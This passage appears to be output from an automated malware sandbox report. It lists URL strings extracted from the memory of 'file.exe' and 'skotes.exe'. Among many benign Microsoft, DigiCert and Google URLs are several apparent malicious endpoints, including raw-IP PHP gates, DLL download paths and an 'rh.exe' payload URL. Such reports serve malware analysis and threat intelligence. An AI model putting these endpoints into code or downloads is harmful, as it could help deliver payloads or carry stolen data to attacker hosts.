Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll=
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlly
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll-
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpGHCGHC.exeata;
Source: file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprograms
Source: file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: file.exe, 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206w
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3438975021.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3438975021.000000000127B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3438975021.00000000012B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=C:
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC:
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL=6%
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpbem
Source: skotes.exe, 00000020.00000002.3438975021.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq.
Source: skotes.exe, 00000020.00000002.3438975021.000000000127B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exe
Source: skotes.exe, 00000020.00000002.3438975021.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exeafc85062384
Source: skotes.exe, 00000020.00000002.3438975021.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exeafc8506ncodedH88
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_536.11.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759220168.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_536.11.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.16.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.16.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: d0f2e3f2-a23b-471a-949c-70b190ef5084.tmp.17.dr, 384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.16.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: d0f2e3f2-a23b-471a-949c-70b190ef5084.tmp.17.dr, 384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.16.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log10.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
